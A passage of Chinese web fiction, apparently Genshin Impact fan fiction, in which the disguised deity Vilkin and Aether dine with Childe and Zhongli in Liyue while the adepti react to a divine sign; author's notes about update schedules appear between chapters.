在维尔金看来,只要摩拉克斯没死, 就都不是问题,也没有必要细究。 在达达利亚看来,只需他稍微提示,维尔金再稍微多想一下, 不难发现其中的端倪, 进一步联想到岩王帝君遭人谋害,凶手极有可能就是璃月七星上面去。 达达利亚觉得他的思路非常合理, 更何况线报表明,维尔金和空二人还是从自由的国度而来,在他的大力暗示之下,应该更容易联想到璃月七星想要摆脱摩拉克斯的桎梏、进一步统治璃月这个方向上去才对。 而不是现在这样。 维尔金澄澈的金色眼睛里也写满了大大的疑惑,和达达利亚大眼瞪小眼。 这便是信息不对等带来的问题。 如果散兵在场,他会很直接地告诉达达利亚, 他目前为了针对璃月七星、还妄图逼出摩拉克斯真身所做的一切都是无用功。 天理根本不会在意人类夺权、魔神死亡这些小事。统领尘世七执政的神明只会比尘世七执政更加无所谓于纷扰的人间百态。理论上只要不涉及深渊这个最低限度原则,祂绝不会插手。 但问题也在这——达达利亚本人身上自带的深渊气息就属于来回天理的底线边缘试探的类型。 换位思考,如果一个浑身上下都是雷电影气息的人偶天天在散兵脸上蹦哒, 他也很难保证自己能够不动手拆了那玩意。 所以, 这才是散兵不愿告诉达达利亚全部真相, 只是单纯警告他离维尔金远一点的真正原因。 一方面,只要他们还在璃月港, 别说是他,就算至冬女皇亲临,达达利亚身上的深渊气息也不可能瞒住天理这种级别的神明。 另一方面,天理的脾气其实并没有传闻中的那么糟糕, 甚至于祂对待人类可以称得上是极为宽容。 这是散兵经过传闻和多方消息整合得出来、并利用达达利亚验证过后得出来的可靠信息。 所以与其把真相告诉末席,让尊贵的天理大人通过跟踪者乍然转变的态度意识到自己已经暴露了真实身份,把牌桌掀翻,这场游戏不进行下去,对大家都不好。 让达达利亚保持着一无所知的热心至冬小伙的人设,才是最好的。 看着热情过度疑似上升高度的至冬小伙,维尔金心里是五味杂陈。 首先他必须得承认,玛尔巴斯是一位很负责任的好神,这很好。 至冬人爱戴他们的神明,甚至愿意为了神明佩戴邪眼、付出生命,虽然不提倡,但是维尔金也不会反对,所以也很好。 但是这不代表至冬人可以擅自用这个标准去要求所有魔神! 他只是睡了一会,在玛尔巴斯的内卷驱动下,现在人类都已经要求严格到不允许缺勤一次,对摩拉克斯这种好神两千年才出的一次错,想象力都这么丰富了吗? 那按这个标准,维尔金算是终于明白为什么炎之魔女对巴巴托斯的意见这么大,为什么又转头投靠至冬国后对玛尔巴斯如此忠诚。 果然,没有对比就没有伤害。 但他还是不大明白,他之前不是都已经站在这块地方说过了摩拉克斯没死吗? 看出维尔金疑惑症结所在的空悄悄提醒:“刚刚他离那么远,估计是没听见。” 维尔金:! 糟糕,忘了这茬! 不是所有人的听力都像他一样好。 ……那退一万步讲,玉京台现在确实很吵。所以哪怕是神之眼兼邪眼的持有者,一时间失聪……好像也不意外。 但是话又说回来,一个至冬人居然想要干涉璃月的私事,虽然本意是好的,达达利亚他就没有一点错吗? 维尔金看着一脸“怎么会是这种态度”的达达利亚,微微叹气,对故意旷工的摩拉克斯多了一份同情心。 果然,小太阳属性的开朗少年就会比较缺少边界感。 维尔金鉴定为玛尔巴斯太过负责、达达利亚本人上班年限太短。 但凡上个两千年的班就知道,像摩拉克斯这样兢兢业业打卡、遇事不开摆、事事有回应的员工是多么的任劳任怨,多么的尽职尽责了。哪怕摩拉克斯同属于不接神之心的那一类魔神行列,仁慈的维尔金依旧坚定地站在下属这一边。 无他,只是作为一位无事睡觉有事起床的天理,达达利亚这种态度让他压力巨大。 不知道这位觉得摩拉克斯有阴谋的至冬小伙有没有考虑过,存在神明因为睡过头所以只能先扔下一具空壳敷衍、或者就是单纯撂挑子开摆的可能性呢? 反正,维尔金一直把这个可能性放在首位。 因为他真是这么干的。 “你们不会觉得这是璃月七星的阴谋吗?”终究还是耐不住尴尬气氛达达利亚打破了沉默的僵局,试图继续分析加码,“统治璃月的七星总是会对我们至冬国的使节抱有过多的怀疑,而岩神一死,偌大的璃月就将落入那七个只知道生意的璃月七星手中……” “璃月人怀疑外国人——这没有问题啊。” 空继续说道,“而且璃月七星是岩神之下的最高统治者,岩神本身也仅仅是一年降下一次神谕,理论上来说具体下发政策的,就是七星吧?” 如果说不是已经知道摩拉克斯没死,说不定维尔金和空真的会把矛头调转到明面上最大受益者,璃月七星身上。 “我知道以我的身份,再多说什么也毫无意义……” 达达利亚低落的垂眼,像是一长条好心没好报、还被欺负得惨兮兮的至冬纯正大列巴。 “但……如果你们愿意多听我再说些什么的话……还请稍后在北国银行见面详谈,”说完,似乎是害怕维尔金和空这两个脑回路百年难遇的重点人物真的不来,达达利亚不忘补充一句: “如果你们还记得十分钟前,是我帮你们解围的话……今晚七点还请赏面去新月轩吃顿饭……” 空一点面子都不给:“是的,解了围,但是成功让千岩军记上了我们。总而言之,慢走不送。” 大列巴剧烈抖动了一下,像是从来没有见过这么不讲武德的家伙,转过身,头也不回的离开了现场。 “所以说,咱们什么时候出发?” 空活动活动为了显得凶悍一些而绷得僵硬无比的脖颈,扭头问道。 维尔金很是惊讶:“刚刚突然对那个执行官那么凶,原来还是打算去蹭饭吗?” “你不懂。” 空拍了拍不懂人心的维尔金,“这招就叫做欲擒故纵。饭还是得去吃的,七国的旅程还没过半,能省点先省点,” “那就好,我还以为你是因为知道,达达利亚就是先前我给你说过的那个跟踪咱们的家伙,在这里蓄意报复……” 维尔金顿了顿,“空?” 空深吸口气,严肃地对总把关键信息留在最后讲的好友说道: “这么重要的事情,下次还请第一时间告诉我。不过看来,这一趟北国银行是必须要去一趟了,对吧?” 维尔金点点头,他对那个手脚很快、立马切断了达达利亚身上深渊气息的幕后之人很感兴趣。 知道他会重点关注身上有深渊气息的人类,还能精准发现病灶…… 这又会是哪个老熟人呢? 不是天理老熟人·甚至年龄没空大的散兵真的很想把同事的脑子挖开,看看水属性神之眼的持有者是不是脑子里面装的都是水。 “达达利亚,你非得去凑那个热闹干什么?” 散兵气得头疼,没用的执行官多了去了,没见过这么喜欢引狼入室的。 “怎么了,趁着他对我们印象还不错,抓紧机会吸纳一切有生力量来完成达成的目有什么问题吗?而且你说的维尔金根本没有那么可怕嘛,我还约了他们今晚在新月轩吃饭——” 达达利亚昂起头,像是要让这个不友善的同事刮目相看,大声宣布道: “他们肯定同意了。” 散兵深吸口气,好悬想一刀劈死这个还不知道自己闯下了什么祸事的末席。 “那这不是还没同意吗!” 紧接着,达达利亚一句话瞬间又让本就不健康的血压再度升高—— “对了斯卡拉姆齐,你今天也先别忙了,累了一天,收拾收拾跟我一起去新月轩吃饭。” “不去。” 还新月轩,散兵现在烦的想要把达达利亚的脑袋拍碎,“你找别人。” “切,不识好人心,要不是看你这些日子来查账挺辛苦的,我可懒得喊你。在璃月,有的是人陪着去——” “那你现在最好就拉着你的好朋友,滚出去。别再烦我了。” 伴随着木质门框几乎快要散架的一声巨响,达达利亚的脚步越行越远。一直隐于阴影之中不敢做声,直到达达利亚离开才敢出声的债务处理人接过散兵分类好的“活债”,终于按捺不住自己的好奇心,鼓足勇气问道: “散兵大人,为什么不告诉公子大人……” “这里有你问话的份吗?” 散兵语气危险,瞪了眼求知欲旺盛的手下,“这么多废话,还不快去干你的活,要是期限来临之前没能处理完这堆债务……你们也不用回至冬了,留在璃月如何?” 惹怒执行官对于普通愚人众士兵而言太过可怕,更别说还是一向以不近人情闻名于愚人众底层士兵之中的散兵大人。 债务处理人不敢回答,低头隐入阴影后离开了散兵的视线。 只是……问题盘桓在有心人脑海中,散兵大人瞒着公子大人,是否又是因为自己的私心、想要趁此机会除掉公子大人呢? 没有理会手下的胡思乱想,散兵将手上的剩下的这摊子坏账撕了个粉碎。 纷纷扬扬的雪片象征着人死债消,也意味着,他们先前所有的预演和计划都变成这些撕都撕不完的废纸,一切终究还是成为了梦幻泡影。 有的时候,处理事情就要像对待永远不可能回收回来的坏账一样,直接撕个粉碎。 但更多时候,事情的发展只会像总是会朝南墙撞的同事一样,不死到临头绝不悔改。 散兵烦躁地坐在椅子上,驱赶走房间内所有的暗哨。 不同于真情实感忠诚于至冬女皇的至冬本地人达达利亚,散兵他一直以来都有自己的想法。并且就算是爬到执行官第六席的位置后,也依旧没有如女士那样彻底归顺。 只是…… 如今的形势急转直下,甚至强如冰神都不得不避其锋芒…… 他和多托雷的计划,没有能够实现的、最基础的条件后……他还有必要继续待在这个可以预见到即将分崩离析的愚人众吗? 至冬银行在夜里亮起的温暖黄光,打在独处了一下午的人偶脸上。 公子达达利亚不在,无人胆敢招惹这位凶名赫赫的第六席执行官。 夜晚的璃月街道灯火通明,哪怕岩王帝君仙逝的消息已经从各个角落里传出,整座璃月港依旧因为惯性而正常运转。 除了时不时能够听到关于帝君遇害、请仙典仪的只言片语外,一切好像没有变化。 但达达利亚知道,这一切都是假象。 璃月七星只是璃月这座商业之城明面上的统治者,被世人称之为“与神同行”的璃月尚未向世人展现出它真正的实力。 只要让璃月的仙人们出山,引起仙人和七星的斗争,他不信摩拉克斯还不现身。 他不甘心这么多年的努力付之于东流,为了让维尔金这个局外人淌进这趟浑水,达达利亚这一天从和维尔金他们分别起 ,简直就没歇过。 时间一分一秒流逝,眼见即将要到约定好的时间,达达利亚也只能耐着性子继续等。 他不信有人会对今天发生的一切不感兴趣。 达达利亚□□在璃月夜晚的寒风,就在即将出现幻觉的时候,他心心念念的目标终于出现了—— “抱歉,达达利亚。” 维尔金扛着大包小包真情实感地道歉,“为了找旅馆浪费了我们不少时间……果然大城市就是麻烦。” 至于蒙德,鹰翔浅滩的沙子可舒适了,他完全没有担心过睡眠问题。 可在璃月,一天还没有过完,他现在已经开始想念倒头就能睡的天空岛了。 达达利亚支棱起笑容,像是发自内心地为他们的到来而感到高兴:“没关系,你们来的正好。新月轩的人才刚刚备好菜,你们一来,我直接让人后厨预备上菜就好。” 熟知人情世故的空还不忘给主动请客的达达利亚带好了伴手礼—— “这是来自蒙德龙脊雪山上的特产赤红之石,”空对于花钱大方的冤大头极为友善,甚至从背包的不知道哪个旮瘩掏出来先前在龙脊雪山时候存进去的魔龙血石。 “还请收下。” “你们太客气了!” 达达利亚双手接过血红的赤红之石,湛蓝的眼睛里流露出完全不似执行官的清澈眼神。 来自强者的礼物,他很高兴。 “我刻意准备了一场叫做「饭局」的见面仪式,原本我还担心你们会不习惯这个国家独有的见面方式,但现在看来应该完全不是问题!” 维尔金好奇:“饭局?” “就是免费蹭吃蹭喝后,蹭吃蹭喝的家伙得帮付钱的家伙办事。”空双手环胸,揭穿了达达利亚的真实目的,“你不会想要我们去跟璃月七星对着干吧?” “放心,刚刚所说的饭局可不是那种商务性质的,我只是单纯想要给大家介绍一位对璃月了如指掌的往生堂客卿。” 达达利亚将维尔金和空领到新月轩门口。 华美的屏风遮罩住新月轩灯火通明的内室。门口的侍应生像是早有准备,一见到达达利亚就迫不及待地迎上前: “雅间已经准备好了,里面请——” 屏风内外就像是两个完全不同的世界。 雅间内,早已有人等在此处。 “这位就是我说过的往生堂的客卿,也是正儿八经的‘道上人士’的钟离先生——”达达利亚跟正对门口的钟离打了声招呼: “钟离先生,这就是我要介绍给你的新朋友!” 维尔金瞪大了眼。 钟离执杯喝茶的手缓缓放下,手上活不停,没忘了给维尔金烫好杯子。 维尔金简直要给达达利亚一个大大的拥抱。 眼前坐在这里好端端喝茶的,不正是达达利亚嘴里念叨着的摩拉克斯么? “无须过多介绍,维尔金先生的大名,哪怕是远居璃月荒野的在下,也听闻过蒙德诗人的赞颂。” 钟离顿了顿,拿起茶具,一边不着痕迹地解释了为何他知道了一切,一边为维尔金和空倒上刚刚泡好的新茶。 “不过,道上人士?” 维尔金不确定地重复,摩拉克斯在这璃月还玩什么道?天道吗? “是的,在璃月,往生堂总是会时不时地接触到道上的生意,我北国银行也是这样才能跟钟离先生这样的人才搭上线。” “我虽然想过达达利亚先生这顿饭不会是白请,却也没想过原来有如此贵客亲自赴宴,上午的事,实在抱歉,是我疏忽了。” 钟离也是万万没有想到的天理居然如此神速,巴巴托斯才告诉他天理苏醒,今天上午就能见到领导领着人来参加他的请仙典仪。 他更没有想到,原来天理也早已心生退意……难道磨损,对与这个级别的神明,仍有影响吗?以至于天理本人都不得不暂避其锋芒? “诶?上午?” 达达利亚随即恍然大悟,“也是,钟离先生这样博学笃实又消息灵通的人,怎么会错过上午那样大事?只不过没有在请仙典仪上见到先生实属是一件憾事。” 不,其实你见到了。 维尔金默默在心底里回答,看达达利亚的样子是对钟离的身份一无所知。 不知道当这位年轻热心的至冬小伙发现,自己今天组局拉来的往生堂客卿就是岩神本人,究竟会露出多么有意思的表情。 坏心眼的维尔金选择用微笑代替回答,让可怜的至冬小伙想破脑袋也想不出来一星半点的线索。 独属于钟离和维尔金的知根知底依旧让空摸不着头脑,但他有一个达达利亚比不过的优势,维尔金至少会记得跟他分享一手情报。 上午…… 他们今天才下船到璃月。 所以首先排除船上的水手,他不记得有见过钟离,年龄也没有对上号的任务。 离开码头后,他们一上街就被跟踪,但维尔金已经证实,那个人就是达达利亚。 接着就是玉京台…… 他们上午已经见过面…… 空瞳孔紧缩,难道说—— 钟离,就是摩拉克斯!? 看着旅行者变得五颜六色的面孔,默默提示完旅行者,深藏功与名的钟离先生微微一笑,一副只认识维尔金而不认识空的样子,明知故问道: “维尔金先生,不知这位是……” “这是空,目前正在和我一起周游七国,寻找他在坎瑞亚战争期间失踪的妹妹。”维尔金很懂,顺势介绍向空介绍道,“空,这是钟离,如你所见,是一位做事非常靠谱的、土生土长的璃月人。” “钟离先生您好!” 见维尔金已经印证了自己的猜测,空不忘此行最重要地目的,“钟离先生见多识广,不知道有没有见过和我一样,也是金发金瞳的少女?” 钟离摇摇头。 “抱歉,虽然想略尽绵薄之力,不过这么多年来我从未见到过跟空一样有着如此耀眼金发的少女,请恕我爱莫能助了。” “谢谢谢谢,您这也太客气了……” 已经知道钟离真实身份的空赶紧起身鞠了一个躬。 岩王帝君他老人家给维尔金面子回答自己的问题,他也不能让维尔金难做,让岩神觉得维尔金的朋友没一点礼貌。 “原来,旅行者和维尔金一样云游各国,是在找自己的妹妹吗?” 达达利亚踊跃参与进话题:“你的妹妹叫什么名字,我也去过很多国家,说不定我会认识!” 实际年龄可以做达达利亚祖宗的空:……不,我觉得你不会认识。 达达利亚继续怂恿:“就告诉我嘛!我去过的地方比一直待在璃月港的钟离先生多得去了,说不定就在哪里见过你的妹妹。” 虽然达达利亚本人据维尔金所言,有一种被深渊腌透的味道,虽然本人是跟女士一样同属至冬执行官的强者,虽然他看上去好像是至冬国在璃月的负责人…… “我的妹妹叫做荧,一头金色短发,头上别着一朵白色花朵,惯用武器是单手剑,别看她是女孩子,实际上可能打了……” 空说完一大长串之后,期待地看向达达利亚: “请问尊敬的愚人众执行官大人,你有见过吗?” 达达利亚:“没有。” “那开席吧。” 空迅速面无表情地撤回座位。 他就知道年轻人靠不住。 达达利亚肉眼可见的委屈极了。 怎么同样是不知道,对待他和对待钟离的态度相差这么远。 “这次宴席是公子大人牵头组局,自然也该由公子大人开始。”钟离开口道,维尔金点点头。 “事已至此,还是先吃饭吧。” 钟离为默默承受了一切的达达利亚满上至冬的烈酒。 一路上受尽委屈的达达利亚几乎要哭出声:“钟离先生……” 这两个人怎么这么不讲武德。 “说起来,钟离先生那‘道上人士’……指的是什么呢?”维尔金抿了一口热茶,“身处璃月却和至冬的执行官有所来往,看来是很重要的组织了?” “公子的璃月话水平欠佳,让您见笑了。我所处的往生堂是执掌葬仪的组织,原是为众生落叶归根、死后入土为安,得以安心往生……” 好不容易扳回一城的达达利亚嘴角上扬: “哈哈哈哈,这是把钟离先生当做杀手了呀!不过像钟离先生这样学富五车的人,也用不着脏了自己的手。你们以后要是有不想脏自己的手、但是又急于处理的家伙们,欢迎随时找我——这可是看在我们有缘的份上的友情价哦!” “不用了,我一般是亲自动手。” 达达利亚:! 这就是连女皇都为之忌惮的强者吗!简直帅到没边了! 维尔金欣然接受一切褒奖,喝了口茶。 “不过话说回来,达达利亚是要说什么事情来着的?” “言归正传,你们还记得白天我们见到的岩神仙体吧?”达达利亚正色,“现在,璃月七星已经将岩神藏了起来,而作为往生堂的客卿,不如听听他是怎么想的,你们再做决定。” 钟离停顿了一瞬,虽说天下无免费的宴席,但要是早知道达达利亚招惹的人是维尔金,他说什么都不会来赴这场宴。 眼下达达利亚又将话柄递给他,他不得不在这样尴尬的场合和天理解释一切。 还好巴巴托斯提前知会了他们一声。 “怎么,钟离先生也觉得,岩神的死存在蹊跷?” 维尔金挑眉,放下木筷,注视着摩拉克斯那双坦荡得像是在战斗的眼睛。 “时代已经变了。” 钟离叹了口气,不得不向自己的顶头上司解释一切。 “如您所言,人的时代已经成为了现实,长生种们,亦或是说,仙众的时代已经肉眼可见地即将成为历史了。” “很不错的观点,还请继续。” “岩神摩拉克斯,作为众仙之祖,仙人之一,纵观璃月数千年的历史长河,离去已成定局……既然他老人家仙逝,我们这些凡人,自然是遵照他生前的愿景,继续建设璃月,引导璃月,为璃月贡献出一份属于人类的力量。” “说完了?”维尔金双手合十,“未来的日子还长得很,后面有什么比较具体的规划安排吗?” “长期的话,我会继续待在璃月,至于短期……”钟离迟疑了半分,最终还是决定全部都和盘托出。 “往年,每位仙人离去时,都会有一场堪比七星请仙典仪的纪念仪式……这次好不容易岩神得以长眠,他老人家却不能享受到这项惯例传统。” 空也觉得钟离说的很有道理,附和道:“是啊,我也觉得,请仙的仪式这么隆重,给岩王帝君送行的仪式却因为七星在调查事情的真相而无人问津……若是岩王帝君有灵,应该会希望送仙仪式也可以像请仙仪式那般隆重、热烈吧?” 请仙是为了让岩王帝君降下神谕,指引未来方向,一年一度尚且如此隆重;而对于钟离本人来说,一辈子就那么一次的送仙典仪却无人问津,一定会很失落的。 “不愧是空小友,真是和我想到一处去了。”钟离向给自己准备好台阶的空投去感谢的目光,然后继续对老上司大力暗示,“我想帝君……岩神摩拉克斯,应该也会希望送仙仪式上布满霓裳花、配上霓裳花味道的飘渺仙缘香膏,再请上云翰社现今的当家主事云先生唱一曲璃月戏,这样开席的时候也能热热闹闹的。对了,每桌还要上一份文火慢炖腌笃鲜……如此这般,这场送仙典仪才叫得上圆满——” 维尔金听得也是振奋人心,要不是天空岛平时也没有请仙的规矩,他也很想自己操办一下自己的退休典仪。不过想来,除了尘世七执政,应该不会有人愿意来吃席……也就只能去摩拉克斯的席解解馋。 “听起来感觉确实很不错,不过璃月送仙典仪的流水席会收费吗?” 这话里话外,就是不计较他擅离职守了? 钟离即答:“我想帝君在天有灵……一定会托梦给璃月七星以及璃月众仙,让这场流水席全部免费的。” 维尔金很满意,有免费的流水席可以蹭就行,别的地方摩拉克斯自己把握住就好。 他相信作为一线老员工摩拉克斯的实力,唯一一点值得维尔金耿耿于怀的,也就只有那件事—— “钟离先生,您说,若是有人在玉京台上许愿,岩王帝君会能够听到此人的心声吗?” 维尔金难得语气轻柔、态度端正,但这个问题和这幅模样,不知道让摩拉克斯想起来什么不太妙的事情,总而言之,后者迅速否认道: “岩王帝君从没有读心和全知全能的权能,不过是璃月百姓发自内心地尊崇爱戴,让他们觉得在帝君降临时许下的愿望能够成真罢了,还请不要过多在意。” 事实上是,因为璃月人都坚定地觉得,只要在玉京台上许愿,守护璃月的帝君就能够听到人民的祈愿,所以摩拉克斯本人实际上听到了维尔金的许愿。 但钟离扪心自问,他只是想退休,暂且还不是很想退生物圈,就让维尔金觉得,这只是一个美丽的巧合就好。 只是,就连他也没有想到…… 热衷于战争和世界本身的天理,居然也会有想要休息、退居幕后的想法。 ……这份情报,可不是一个神之心能换来的。 “对了,你们知道神之心吗?” 空感觉钟离先生夹菜的手都止住了一瞬。 一旁的达达利亚倒是来了兴趣—— “原来维尔金和空也对神之心感兴趣?” 钟离一直维持的微笑终于完全消失。 维尔金只觉得这个人简直是莫名其妙:神之心就是他发的,他还会对这玩意感兴趣? 不过,他还是礼貌性问了一句: “也?执行官也对神之心感兴趣?” 钟离放下了筷子。 “哈哈哈哈,说不上感兴趣,只是说……我们可能目标一致罢了。” 钟离一边不着痕迹地驱动神力,一边大脑飞速运转,计算着如何让陨石合情合理地将这个嘴没有门把手的执行官当场砸失忆,还不能显得太过刻意。 “哦?”维尔金也来了兴趣,随口问道: “难道至冬国的执行官分散在各个国家,就是为了找到神之心吗?”—— 作者有话说:第一!晚上好呀大家~拉弥亚等会设置个抽奖活动,谢谢所有支持我的读者包被们!递花花~ 第23章 第 23 章 深渊看了要沉默,至冬女…… 达达利亚一愣。 虽然他的本意就是创造话题, 但维尔金这个问法也太直接了吧! 钟离先生还一天到晚说他璃月话不行,说话太过直接。可依他看,这天底下没有比维尔金说话更直接的人了——结果现在, 钟离先生反倒不说话了! 钟离低头喝茶,完全无视达达利亚投来的求助性目光。陨石已经准备就绪,力度应该刚好够让至冬小伙直接失忆。 “不方便回答的话也无碍,”眼见达达利亚一时不知道该如何回答, 维尔金摆了摆手, 不打算为难这个吃了一天瘪的可怜执行官。 “只是随便问问而已。” 想来玛尔巴斯应该不会把太重要的信息告诉过于年轻的人类。 维尔金在心底默默叹气。 可惜,要是玛尔巴斯麾下执行官也在搜集神之心就好了。 时刻关注工作业务流程和突发状况的好领导·维尔金没有忘记, 巴巴托斯这个粗心大意的风精灵跟他说过,不接神之心是因为没带。 熟练掌握如何成为一位受人尊敬好领导的维尔金表示,员工出错时,嘴里的话一个字都不能信。 他一只风精灵,一天到晚到处乱跑,又怎么会不随身携带好神之心呢? 经过缜密的分析, 自以为洞察了一切的维尔金自己摸索出来了一个真相: 有人弄丢了神之心,又因为不敢汇报给他,所以只能让全体同事帮着一起找。 依照玛尔巴斯认真负责的性格, 不出意外, 肯定出工又出力, 不找到遗失的神之心誓不罢休。 不过看达达利亚这幅大惊小怪样子…… 玛尔巴斯应该是没有找到了。 维尔金决定,等达达利亚一走, 他一定好好好盘问一下摩拉克斯。 神之心这种东西,丢了找他挂失后补办不就好了,何必要藏着掩着? 现在这尘世七执政没一个人接他电话,维尔金甚至不明白, 他们到底是对天理本人有意见,对天空岛有意见,还是对神之心这个中看不中用还占地方的挂件有意见? 达达利亚听了维尔金的话松了一口气。 “不……只是执行官分散在提瓦特大陆各处是女皇陛下的命令,我无意探究,更不会置噱她的决定,事关至冬机密……还请恕我无法回答这个问题。不过……” 达达利亚一只手搭在桌上,认真兼任起愚人众人事一职: “维尔金要是能够加入我们执行官的话,女皇陛下一定非常乐于告诉你原因,一定会知无不言言无不尽的!” 钟离:! “钟离先生,您没事吧?”空担忧地看着喝口水都能被呛到的岩王帝君,不禁对退休魔神的身体素质产生了一些担忧。 “放心,我没事。”钟离擦干不小心洒在衣衫上的茶水,顺便不着痕迹地把原先要用来砸至冬小伙的陨石引到别处。 ……要是让天理加入至冬国愚人众,玛尔巴斯恐怕也会想跳槽不干吧?单是想到这种可能性,哪怕沉稳如岩王帝君,也着实忍不住想笑。 钟离微微抬手,遮住微微勾起的唇角,眼神上溢出的笑意却正好被眼尖的达达利亚发现: “钟离先生难道你也改变了主意,打算改门换庭、加入愚人众了吗!” 不愧是达达利亚。 这话说的,深渊看了要沉默,至冬女皇听了要流泪。 兴奋的至冬大列巴无意之中打出了此生难以逾越的世界级成就: 打断摩拉克斯大招施法的同时,硬控天理三分钟。 维尔金突然发现至冬虽然气候环境冷若冰霜,土生土长的的至冬小伙却是热情似火。当然如果这份热情不是针对想要拉他和摩拉克斯入伙、而是放在别的地方,他觉得会更加合适一些。 “……我短期内还无意离开璃月。”钟离先前预备召唤陨石抬起的手顺势放下,转而握住桌上的茶杯,抿了一口清茶。 这是对达达利亚的搪塞,也是对维尔金先前问题的又一次回答。 摩拉克斯或许会离开璃月,但绝对不是现在。 这座与神同行数千年的国家还不曾如蒙德一般经历真正无神陪伴的风雨。而坐在一旁的天理或许会容许厌班的尘世七执政撂挑子装死,但他绝不会容许钟离离开这土地。 于他而言,从魔神战争伊始,那些村庄被魔物侵扰、家园被洪水淹没的弱小生灵们,向名为摩拉克斯的魔神及其眷属们祈求帮助时,这场没有退休之日的执政官职责已经同他的心脏紧紧绑定,让强大的魔神再也生不出肆意妄为的情绪来。 这是天理加诸于七十二魔神的枷锁。 有神心怀不满,竭尽所能寻找规则的漏洞,以图守住自己那非人的眷属,但钟离本人已经完全对此接受良好。 他甘之如饴,他从始至终都喜欢着璃月这个足以称之为“家”的国度,以及璃月城中敬仰摩拉克斯、依赖摩拉克斯的人类。 达达利亚也不气馁,他已经向钟离先生发出过不知道多少次邀请,也不差这一回,于是用充满期待的湛蓝色玻璃珠一样的眼睛看着维尔金,企图就此让实际相处后感觉意外很好说话的维尔金入伙。 “那维尔金先生呢?” 玛尔巴斯麾下有达达利亚这位悍将,至冬的福气还在后头。 维尔金更加为难,他能轻易辨别出他人的好意与恶意,所以他很清楚,达达利亚真的秉着为至冬女皇广纳贤才的目的和对他实力的肯定才发出的邀请。 但让天理成为冰神的执行官,这是否有点倒反天罡? 为了保住岌岌可危的上下级关系,维尔金看似直接实则非常委婉地拒绝了热情香橙大列巴的盛情邀请。 “……抱歉了,达达利亚。我不信提瓦特的任何神,所以无意加入包括至冬女皇在内所有神明麾下,不好意思。” 说完,维尔金还不忘跟钟离使个眼色—— 摩拉克斯,快用你无敌的高情商璃月语录想想办法啊! “……好吧,那旅行者有加入至冬的想法吗?”达达利亚望向专注于吃席的旅行者,满眼的希翼,“至冬国待遇可比西风骑士团好上不少哦!” 空擦干净嘴,果断拒绝:“我的目的只有一个,就是找到我的妹妹,荧。” 他只是一个外来者,无意卷入提瓦特各国和神明之间的纷争。 更何况虽然他还没有去过所有的国家,但蒙德和璃月之行无疑已然表明,提瓦特大陆的七国底下正暗流涌动,空甚至觉得,维尔金执意隐藏身份和自己一起周游七国,帮助自己找妹妹,是否也是出于类似的考量—— 尘世七执政中,不乏有妄想要向维尔金以及其所代表的天空岛势力举起反旗的神明。 他这些日子通过观察愚人众执行官的行事手段,并通过搜罗到明里暗里的各种传闻,空相信,很快就能揭开这群至冬人的真面目—— 至冬国的愚人众,一定有问题! 维尔金不擅长解决这些弯弯绕绕的勾心斗角。空暂时不打算告诉维尔金他的猜测和分析,只是默默注视着一切,等到证据齐全、抓住至冬的马脚,再让维尔金把他们一锅端! 集齐三人“全聚德”的公子大人泄了气。 远在至冬的玛尔巴斯还不知道,她那宝贵的本土产黄金香橙味大列巴干了些什么。 “还请公子不必介怀,” 毕竟今晚还是达达利亚请客的这顿便饭,钟离终究还是不忍钱包已经遭受重创的达达利亚心灵再度遭受打击,安慰道: “你不要多想,维尔金不是不喜欢至冬,他只是有更重要的事情去做。” 更何况要是维尔金真的接受了达达利亚的邀约……玛尔巴斯的表情一定很精彩。 门外传来一阵骚动。 “外面发生了什么事?”达达利亚扭头询问时刻在一旁待命的侍应生,“外面又出什么事了吗?” “回公子大人,没什么大事。” 侍应生低下头,声音似乎有些沉闷,顿了一会后才继续说道,“只是好像有一颗天外陨石突然落入到璃月港里,外面人都说,这是岩王帝君显灵,不愿抛下璃月众生。” “只是这样便觉得是岩神显灵?” “不……” 侍应生擦干溢出眼眶的泪水,红着眼,喃喃道: “陨石落入水中的时候,港口的海面石化了很久……刚刚才重新变成海水……” 不知道这显灵的陨石是奔着自己脑门上砸的达达利亚哑然。 罪魁祸首毫不心虚地给自己满上一壶茶,缓缓道: “应当是岩王帝君不愿人民太过伤心,便用自己仅剩的神力为璃月的人们做这最后一场告别吧。” 钟离顿了顿,不知是感怀,还是在单纯讲述一个事实—— “或许百年之后,史书上会写到‘随着象征着岩王帝君力量的陨石坠入海中,璃月彻底宣告仙众的时代已经走远…… ” 维尔金透过屏风看向那灯火通明的街道。离别总是伴随着忧伤和不舍,但人之子早已拥有了独立前行的实力。作为神明,作为执政者,应当学会放手让羽翼下的孩子们去见证更加宽广的世界。 “钟离先生认为属于仙众的时代,已经走远了吗?” “显而易见,不是么?” 至冬的执行官单手撑头,屋外灯火通明的嘈杂声中,夹杂着些许不同于人类的气息—— 钟离脸色微变。 是……理水叠山和削月筑阳他们的气息…… 至冬的执行官双手交叠,笑容中多了一丝不可捉摸的危险。 离开这座包间,他依旧是大部分普通提瓦特人难望其项背的至冬外交使团、愚人众十一席执行官。 “看上去璃月的仙人们……似乎并不赞同岩神的时代已经落幕的……” “一家之言呢。”—— 作者有话说:家人们,推推我的综漫预收~cos无限城鬼王,但绑定了植物大战僵尸 今天突然发现之前忘点曝光文案(尴尬) 入V后会日更,有特殊情况会提前请假~ 加更规则大家觉得每千收藏/每千营养液/每500点霸王加更一章如何?加更章会在每周周六周日放出! 第24章 第 24 章(捉) 奥赛尔:刚醒,我…… 久别仙人居所的璃月人今天彻底体会到, “与神同行”这一词背后,究竟意味什么。 会说话的棕色巨鹿所过之处有如春风拂面,靛青的雀鸟穿梭在楼宇之间, 蓝白交错的的仙鹤缓缓落在屋顶的瓦砖,化作人形,俯视几分钟前还是石化状态的港口海面。 “没有错,这的确是帝君的力量。” 魈闪身至另一侧, 摘下脸上的傩面, 面色显得格外难看。 “七星隐瞒不报,千岩军居然只对典仪现场的人进行排查, 难道真如那些至冬人所言……”理水叠山真君已经从原先将信将疑转变为十之八九地笃定。 凡人不可能刺杀得了横扫千军的武神,七星的态度又太过敷衍,甚至眼下,帝君的力量居然在他们到达璃月港的同时,降下了神迹…… 很难不怀疑,七星没有问题。 而帝君神力显灵, 在他们眼中无疑进一步验证了这一猜想。 “七星不可信,但至冬人更加不值得我们托付信任,他们只是想利用我们把璃月的水搅浑。”削月筑阳真君长长叹息一声, 寻求各位同僚的意见, “不知各位想要如何是好?” “我倒觉得眼下最要紧的, 就是查明帝君死因,将幕后者揪出, 不能让其余六国以为璃月无人,帝君仙逝,偌大的璃月就要轰然倒塌……” 闲云抬头眺望天空上肉眼可以见到的群玉阁,昂起头, 眼眶微红: 